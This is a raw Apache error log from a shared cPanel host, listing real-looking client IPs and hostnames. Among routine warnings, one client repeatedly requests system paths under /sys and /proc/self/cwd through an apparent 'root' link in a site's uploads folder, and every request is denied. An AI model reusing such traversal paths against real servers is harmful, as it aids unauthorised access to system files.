[Fri Jul 17 09:44:49.987432 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup4/device/subsystem/drivers/hpet/uevent
[Fri Jul 17 09:44:50.017776 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:50.022532 2026] [security2:error] [pid 2030955:tid 2030955] [client 66.249.83.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/wp-backbone.min.js"] [unique_id "almsOvwooI4qY7Jg93pe5QAAABM"], referer: https://manaharasupercenter.lk/product/5x3-steel-cupboard-379/
[Fri Jul 17 09:44:50.022569 2026] [security2:error] [pid 2030955:tid 2030955] [client 66.249.83.10:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/wp-backbone.min.js"] [unique_id "almsOvwooI4qY7Jg93pe5QAAABM"], referer: https://manaharasupercenter.lk/product/5x3-steel-cupboard-379/
[Fri Jul 17 09:44:50.108787 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:50.525317 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.249.83.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/dist/dom-ready.min.js"] [unique_id "almsOrEWOaI5pmYo9fnYiAAAAAA"], referer: https://manaharasupercenter.lk/product/5x3-steel-cupboard-379/
[Fri Jul 17 09:44:50.527529 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.249.83.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-includes/js/dist/dom-ready.min.js"] [unique_id "almsOrEWOaI5pmYo9fnYiAAAAAA"], referer: https://manaharasupercenter.lk/product/5x3-steel-cupboard-379/
[Fri Jul 17 09:44:50.575336 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:50.658507 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:50.853068 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.129314 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.130000 2026] [core:error] [pid 2029579:tid 2029579] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/bus/acpi/drivers/thermal/unbind
[Fri Jul 17 09:44:51.137535 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.218757 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.308790 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:1c/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:44:51.492297 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.598525 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.685995 2026] [core:error] [pid 2032156:tid 2032156] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/PNP0501:00/subsystem/drivers/ec/unbind
[Fri Jul 17 09:44:51.775412 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:51.902842 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:52.091695 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:52.274532 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:52.364647 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:52.546212 2026] [core:error] [pid 2050580:tid 2050580] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/bus/hid/drivers/hid-generic/unbind
[Fri Jul 17 09:44:52.728118 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:52.911264 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:53.002433 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:53.093040 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:53.184247 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:53.548232 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/alarmtimer/unbind
[Fri Jul 17 09:44:53.825175 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:08/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:44:54.006672 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/usb-conn-gpio/uevent
[Fri Jul 17 09:44:54.099217 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:54.100382 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/tty/tty42/subsystem/tty58/"] [unique_id "almsPiRF0UOO1RzB5_832gAAAA4"]
[Fri Jul 17 09:44:54.100414 2026] [security2:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/tty/tty42/subsystem/tty58/"] [unique_id "almsPiRF0UOO1RzB5_832gAAAA4"]
[Fri Jul 17 09:44:54.190032 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:06/subsystem/drivers/hpet/unbind
[Fri Jul 17 09:44:54.371859 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:54.462872 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:54.603990 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:54.979474 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almsPpgKQioIviBkYdpujwAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1136
[Fri Jul 17 09:44:54.979509 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almsPpgKQioIviBkYdpujwAAABU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1045&page_105=1136
[Fri Jul 17 09:44:55.057983 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.101902 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.158834 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:42328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:55.225228 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.284525 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/xhci-hcd/unbind
[Fri Jul 17 09:44:55.446221 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.556952 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.665937 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.752060 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.850882 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:55.933495 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.025138 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.207971 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/firmware/dmi/entries/4-1/position
[Fri Jul 17 09:44:56.299261 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.401180 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.482093 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.571839 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.663511 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:56.760368 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:57.209354 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:57.308881 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/subsystem/drivers/ac/uevent
[Fri Jul 17 09:44:57.310790 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:42452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:44:57.481969 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/battery/uevent
[Fri Jul 17 09:44:57.675476 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:57.767659 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:57.862220 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:57.968455 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:58.028306 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:04/subsystem/drivers/thermal/uevent
[Fri Jul 17 09:44:58.303104 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:58.487391 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:58.586034 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:58.759719 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:58.820358 2026] [cgi:error] [pid 2018741:tid 2018741] [client 91.224.92.127:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://www.google.com/
[Fri Jul 17 09:44:58.820426 2026] [cgi:error] [pid 2018741:tid 2018741] [client 91.224.92.127:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://www.google.com/
[Fri Jul 17 09:44:58.851407 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/device/driver/uevent
[Fri Jul 17 09:44:58.939970 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.123057 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.213210 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.325404 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.395307 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.494292 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.577416 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.578067 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/tty38/power/"] [unique_id "almsQ1h1WDijTxd1xw5VxAAAAAc"]
[Fri Jul 17 09:44:59.578099 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/tty38/power/"] [unique_id "almsQ1h1WDijTxd1xw5VxAAAAAc"]
[Fri Jul 17 09:44:59.669631 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:44:59.941571 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.033366 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/PNP0A06:00/subsystem/uevent
[Fri Jul 17 09:45:00.124842 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.217049 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/i2c/devices/i2c-0/subsystem/drivers/tcpci/bind
[Fri Jul 17 09:45:00.308294 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/clockevents/broadcast/subsystem/uevent
[Fri Jul 17 09:45:00.400095 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.490604 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.580998 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.671802 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.765148 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.854144 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:00.945151 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.038034 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.122178 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsRejME1mgqYZ5O94vKQAAAAE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:45:01.122208 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almsRejME1mgqYZ5O94vKQAAAAE"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:45:01.126676 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.218550 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.311984 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.402452 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.406653 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:51932] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:01.492533 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/pci/drivers/exar_serial/uevent
[Fri Jul 17 09:45:01.583771 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.681918 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.765839 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.786692 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:51954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:45:01.860235 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:01.946341 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.037859 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.129832 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.733877 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.760570 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:10/subsystem/drivers/ac/uevent
[Fri Jul 17 09:45:02.804249 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.850513 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:02.859654 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup16/subsystem/wakeup14/device/driver/uevent
[Fri Jul 17 09:45:02.882357 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.016906 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup10/subsystem/wakeup14/device/driver/uevent
[Fri Jul 17 09:45:03.071769 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/platform/serial8250/subsystem/drivers/acpi-ged/unbind
[Fri Jul 17 09:45:03.109139 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.121091 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.138313 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.409211 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.512825 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:03.594942 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup8/subsystem/wakeup15/device/driver/uevent
[Fri Jul 17 09:45:03.869754 2026] [core:error] [pid 2034024:tid 2034024] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup5/subsystem/wakeup15/device/driver/uevent
[Fri Jul 17 09:45:03.955453 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.136066 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.231829 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.320975 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.503535 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.594610 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:04.785583 2026] [cgi:error] [pid 2031172:tid 2031172] [client 91.224.92.127:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 09:45:04.785667 2026] [cgi:error] [pid 2031172:tid 2031172] [client 91.224.92.127:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 09:45:04.969110 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.161410 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.283120 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.343328 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.413091 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.474898 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.708421 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:05.932300 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.105497 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.125115 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.126248 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/subsystem/wakeup14/device/id/"] [unique_id "almsSoe39YUk0SgV8AVDtgAAABE"]
[Fri Jul 17 09:45:06.126284 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup0/subsystem/wakeup14/device/id/"] [unique_id "almsSoe39YUk0SgV8AVDtgAAABE"]
[Fri Jul 17 09:45:06.256178 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.298282 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.355363 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.400951 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.483276 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:45:06.483299 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
